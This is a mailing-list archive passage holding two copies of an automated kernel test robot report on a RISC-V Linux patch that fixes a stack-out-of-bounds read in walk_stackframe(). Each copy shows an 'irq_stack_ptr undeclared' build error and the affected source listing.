https://git-scm.com/docs/git-format-patch#_base_tree_information]
url: https://github.com/intel-lab-lkp/linux/commits/Jiakai-Xu/riscv-stacktrace-fix-stack-out-of-bounds-in-walk_stackframe/20260812-091247
base: linus/master
patch link: https://lore.kernel.org/r/20260625123906.211981-1-xujiakai2025%40iscas.ac.cn
patch subject: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
config: riscv-randconfig-002-20260812 (https://download.01.org/0day-ci/archive/20260813/202608130244.qnFMlaYc-lkp@intel.com/config)
compiler: riscv64-linux-gcc (GCC) 8.5.0
reproduce (this is a W=1 build): (https://download.01.org/0day-ci/archive/20260813/202608130244.qnFMlaYc-lkp@intel.com/reproduce)
If you fix the issue in a separate patch/commit (i.e. not just a new version of
the same patch/commit), kindly add following tags
| Reported-by: kernel test robot <lkp@intel.com>
| Closes: https://lore.kernel.org/oe-kbuild-all/202608130244.qnFMlaYc-lkp@intel.com/
All errors (new ones prefixed by >>):
In file included from include/linux/export.h:5,
from arch/riscv/kernel/stacktrace.c:7:
arch/riscv/kernel/stacktrace.c: In function 'walk_stackframe':
>> arch/riscv/kernel/stacktrace.c:82:39: error: 'irq_stack_ptr' undeclared (first use in this function); did you mean 'irq_stat'?
high = (unsigned long)this_cpu_read(irq_stack_ptr) +
^~~~~~~~~~~~~
include/linux/compiler.h:239:40: note: in definition of macro 'TYPEOF_UNQUAL'
# define TYPEOF_UNQUAL(exp) __typeof__(exp)
^~~
include/linux/percpu-defs.h:499:29: note: in expansion of macro '__pcpu_size_call_return'
#define this_cpu_read(pcp) __pcpu_size_call_return(this_cpu_read_, pcp)
^~~~~~~~~~~~~~~~~~~~~~~
arch/riscv/kernel/stacktrace.c:82:25: note: in expansion of macro 'this_cpu_read'
high = (unsigned long)this_cpu_read(irq_stack_ptr) +
^~~~~~~~~~~~~
arch/riscv/kernel/stacktrace.c:82:39: note: each undeclared identifier is reported only once for each function it appears in
high = (unsigned long)this_cpu_read(irq_stack_ptr) +
^~~~~~~~~~~~~
include/linux/compiler.h:239:40: note: in definition of macro 'TYPEOF_UNQUAL'
# define TYPEOF_UNQUAL(exp) __typeof__(exp)
^~~
include/linux/percpu-defs.h:499:29: note: in expansion of macro '__pcpu_size_call_return'
#define this_cpu_read(pcp) __pcpu_size_call_return(this_cpu_read_, pcp)
^~~~~~~~~~~~~~~~~~~~~~~
arch/riscv/kernel/stacktrace.c:82:25: note: in expansion of macro 'this_cpu_read'
high = (unsigned long)this_cpu_read(irq_stack_ptr) +
^~~~~~~~~~~~~
vim +82 arch/riscv/kernel/stacktrace.c
> 7 #include <linux/export.h>
8 #include <linux/kallsyms.h>
9 #include <linux/sched.h>
10 #include <linux/sched/debug.h>
11 #include <linux/sched/task_stack.h>
12 #include <linux/stacktrace.h>
13 #include <linux/ftrace.h>
14
15 #include <asm/stacktrace.h>
16
17 #ifdef CONFIG_FRAME_POINTER
18
19 /*
20 * This disables KASAN checking when reading a value from another task's stack,
21 * since the other task could be running on another CPU and could have poisoned
22 * the stack in the meantime.
23 */
24 #define READ_ONCE_TASK_STACK(task, x) \
25 ({ \
26 unsigned long val; \
27 unsigned long addr = x; \
28 if ((task) == current) \
29 val = READ_ONCE(addr); \
30 else \
31 val = READ_ONCE_NOCHECK(addr); \
32 val; \
33 })
34
35 extern asmlinkage void handle_exception(void);
36 extern unsigned long ret_from_exception_end;
37
38 #ifdef CONFIG_IRQ_STACKS
39 DECLARE_PER_CPU(ulong *, irq_stack_ptr);
40 #endif
41
42 static inline int fp_is_valid(unsigned long fp, unsigned long sp,
43 unsigned long high)
44 {
45 unsigned long low;
46
47 low = sp + sizeof(struct stackframe);
48
49 return !(fp < low || fp > high || fp & 0x07);
50 }
51
52 void notrace walk_stackframe(struct task_struct *task, struct pt_regs *regs,
53 bool (*fn)(void *, unsigned long), void *arg)
54 {
55 unsigned long fp, sp, pc, high;
56 int graph_idx = 0;
57 int level = 0;
58
59 if (regs) {
60 fp = frame_pointer(regs);
61 sp = user_stack_pointer(regs);
62 pc = instruction_pointer(regs);
63 } else if (task == NULL || task == current) {
64 fp = (unsigned long)__builtin_frame_address(0);
65 sp = current_stack_pointer;
66 pc = (unsigned long)walk_stackframe;
67 level = -1;
68 } else {
69 /* task blocked in __switch_to */
70 fp = task->thread.s[0];
71 sp = task->thread.sp;
72 pc = task->thread.ra;
73 }
74
75 if (!task)
76 task = current;
77
78 if (sp >= (unsigned long)task_stack_page(task) &&
79 sp < (unsigned long)task_stack_page(task) + THREAD_SIZE) {
80 high = (unsigned long)task_pt_regs(task);
81 } else if (IS_ENABLED(CONFIG_IRQ_STACKS)) {
> 82 high = (unsigned long)this_cpu_read(irq_stack_ptr) +
83 IRQ_STACK_SIZE;
84 } else {
85 high = (unsigned long)task_pt_regs(task);
86 }
87
88 for (;;) {
89 struct stackframe *frame;
90
91 if (unlikely(!__kernel_text_address(pc) || (level++ >= 0 && !fn(arg, pc))))
92 break;
93
94 if (unlikely(!fp_is_valid(fp, sp, high)))
95 break;
96
97 /* Unwind stack frame */
98 frame = (struct stackframe *)fp - 1;
99 sp = fp;
100 if (regs && (regs->epc == pc) && fp_is_valid(frame->ra, sp, high)) {
101 /* We hit function where ra is not saved on the stack */
102 fp = frame->ra;
103 pc = regs->ra;
104 } else {
105 fp = READ_ONCE_TASK_STACK(task, frame->fp);
106 pc = READ_ONCE_TASK_STACK(task, frame->ra);
107 pc = ftrace_graph_ret_addr(task, &graph_idx, pc,
108 &frame->ra);
109 if (pc >= (unsigned long)handle_exception &&
110 pc < (unsigned long)&ret_from_exception_end) {
111 if (unlikely(!fn(arg, pc)))
112 break;
113
114 pc = ((struct pt_regs *)sp)->epc;
115 fp = ((struct pt_regs *)sp)->s0;
116 }
117 }
118
119 }
120 }
121
--
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki
^ permalink raw reply [flat|nested] 12+ messages in thread* Re: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
@ 2026-08-12 18:46 ` kernel test robot
0 siblings, 0 replies; 12+ messages in thread
From: kernel test robot @ 2026-08-12 18:46 UTC (permalink / raw)
To: Jiakai Xu, linux-kernel, linux-riscv
Cc: oe-kbuild-all, Albert Ou, Alexandre Ghiti, Chunyan Zhang,
Jiakai Xu, Matthew Bystrin, Palmer Dabbelt, Paul Walmsley, Rui Qi,
Samuel Holland
Hi Jiakai,
kernel test robot noticed the following build errors:
[auto build test ERROR on linus/master]
[also build test ERROR on v7.2-rc7 next-20260811]
[If your patch is applied to the wrong git tree, kindly drop us a note.
And when submitting patch, we suggest to use '--base' as documented in
https://git-scm.com/docs/git-format-patch#_base_tree_information]
url: https://github.com/intel-lab-lkp/linux/commits/Jiakai-Xu/riscv-stacktrace-fix-stack-out-of-bounds-in-walk_stackframe/20260812-091247
base: linus/master
patch link: https://lore.kernel.org/r/20260625123906.211981-1-xujiakai2025%40iscas.ac.cn
patch subject: [PATCH v3] riscv: stacktrace: fix stack-out-of-bounds in walk_stackframe()
config: riscv-randconfig-002-20260812 (https://download.01.org/0day-ci/archive/20260813/202608130244.qnFMlaYc-lkp@intel.com/config)
compiler: riscv64-linux-gcc (GCC) 8.5.0
reproduce (this is a W=1 build): (https://download.01.org/0day-ci/archive/20260813/202608130244.qnFMlaYc-lkp@intel.com/reproduce)
If you fix the issue in a separate patch/commit (i.e. not just a new version of
the same patch/commit), kindly add following tags
| Reported-by: kernel test robot <lkp@intel.com>
| Closes: https://lore.kernel.org/oe-kbuild-all/202608130244.qnFMlaYc-lkp@intel.com/
All errors (new ones prefixed by >>):
In file included from include/linux/export.h:5,
from arch/riscv/kernel/stacktrace.c:7:
arch/riscv/kernel/stacktrace.c: In function 'walk_stackframe':
>> arch/riscv/kernel/stacktrace.c:82:39: error: 'irq_stack_ptr' undeclared (first use in this function); did you mean 'irq_stat'?
high = (unsigned long)this_cpu_read(irq_stack_ptr) +
^~~~~~~~~~~~~
include/linux/compiler.h:239:40: note: in definition of macro 'TYPEOF_UNQUAL'
# define TYPEOF_UNQUAL(exp) __typeof__(exp)
^~~
include/linux/percpu-defs.h:499:29: note: in expansion of macro '__pcpu_size_call_return'
#define this_cpu_read(pcp) __pcpu_size_call_return(this_cpu_read_, pcp)
^~~~~~~~~~~~~~~~~~~~~~~
arch/riscv/kernel/stacktrace.c:82:25: note: in expansion of macro 'this_cpu_read'
high = (unsigned long)this_cpu_read(irq_stack_ptr) +
^~~~~~~~~~~~~
arch/riscv/kernel/stacktrace.c:82:39: note: each undeclared identifier is reported only once for each function it appears in
high = (unsigned long)this_cpu_read(irq_stack_ptr) +
^~~~~~~~~~~~~
include/linux/compiler.h:239:40: note: in definition of macro 'TYPEOF_UNQUAL'
# define TYPEOF_UNQUAL(exp) __typeof__(exp)
^~~
include/linux/percpu-defs.h:499:29: note: in expansion of macro '__pcpu_size_call_return'
#define this_cpu_read(pcp) __pcpu_size_call_return(this_cpu_read_, pcp)
^~~~~~~~~~~~~~~~~~~~~~~
arch/riscv/kernel/stacktrace.c:82:25: note: in expansion of macro 'this_cpu_read'
high = (unsigned long)this_cpu_read(irq_stack_ptr) +
^~~~~~~~~~~~~
vim +82 arch/riscv/kernel/stacktrace.c
> 7 #include <linux/export.h>
8 #include <linux/kallsyms.h>
9 #include <linux/sched.h>
10 #include <linux/sched/debug.h>
11 #include <linux/sched/task_stack.h>
12 #include <linux/stacktrace.h>
13 #include <linux/ftrace.h>
14
15 #include <asm/stacktrace.h>
16
17 #ifdef CONFIG_FRAME_POINTER
18
19 /*
20 * This disables KASAN checking when reading a value from another task's stack,
21 * since the other task could be running on another CPU and could have poisoned
22 * the stack in the meantime.
23 */
24 #define READ_ONCE_TASK_STACK(task, x) \
25 ({ \
26 unsigned long val; \
27 unsigned long addr = x; \
28 if ((task) == current) \
29 val = READ_ONCE(addr); \
30 else \
31 val = READ_ONCE_NOCHECK(addr); \
32 val; \
33 })
34
35 extern asmlinkage void handle_exception(void);
36 extern unsigned long ret_from_exception_end;
37
38 #ifdef CONFIG_IRQ_STACKS
39 DECLARE_PER_CPU(ulong *, irq_stack_ptr);
40 #endif
41
42 static inline int fp_is_valid(unsigned long fp, unsigned long sp,
43 unsigned long high)
44 {
45 unsigned long low;
46
47 low = sp + sizeof(struct stackframe);
48
49 return !(fp < low || fp > high || fp & 0x07);
50 }
51
52 void notrace walk_stackframe(struct task_struct *task, struct pt_regs *regs,
53 bool (*fn)(void *, unsigned long), void *arg)
54 {
55 unsigned long fp, sp, pc, high;
56 int graph_idx = 0;
57 int level = 0;
58
59 if (regs) {
60 fp = frame_pointer(regs);
61 sp = user_stack_pointer(regs);
62 pc = instruction_pointer(regs);
63 } else if (task == NULL || task == current) {
64 fp = (unsigned long)__builtin_frame_address(0);
65 sp = current_stack_pointer;
66 pc = (unsigned long)walk_stackframe;
67 level = -1;
68 } else {
69 /* task blocked in __switch_to */
70 fp = task->thread.s[0];
71 sp = task->thread.sp;
72 pc = task->thread.ra;
73 }
74
75 if (!task)
76 task = current;
77
78 if (sp >= (unsigned long)task_stack_page(task) &&
79 sp < (unsigned long)task_stack_page(task) + THREAD_SIZE) {
80 high = (unsigned long)task_pt_regs(task);
81 } else if (IS_ENABLED(CONFIG_IRQ_STACKS)) {
> 82 high = (unsigned long)this_cpu_read(irq_stack_ptr) +
83 IRQ_STACK_SIZE;
84 } else {
85 high = (unsigned long)task_pt_regs(task);
86 }
87
88 for (;;) {
89 struct stackframe *frame;
90
91 if (unlikely(!__kernel_text_address(pc) || (level++ >= 0 && !fn(arg, pc))))
92 break;
93
94 if (unlikely(!fp_is_valid(fp, sp, high)))
95 break;
96
97 /* Unwind stack frame */
98 frame = (struct stackframe *)fp - 1;
99 sp = fp;
100 if (regs && (regs->epc == pc) && fp_is_valid(frame->ra, sp, high)) {
101 /* We hit function where ra is not saved on the stack */
102 fp = frame->ra;
103 pc = regs->ra;
104 } else {
105 fp = READ_ONCE_TASK_STACK(task, frame->fp);
106 pc = READ_ONCE_TASK_STACK(task, frame->ra);
107 pc = ftrace_graph_ret_addr(task, &graph_idx, pc,
108 &frame->ra);
109 if (pc >= (unsigned long)handle_exception &&
110 pc < (unsigned long)&ret_from_exception_end) {
111 if (unlikely(!fn(arg, pc)))
112 break;
113
114 pc = ((struct pt_regs *)sp)->epc;
115 fp = ((struct pt_regs *)sp)->s0;
116 }
117 }
118
119 }
120 }
121
--
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki
_______________________________________________
linux-riscv mailing list
linux-riscv@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-riscv
^ permalink raw reply [flat|nested] 12+ messages in thread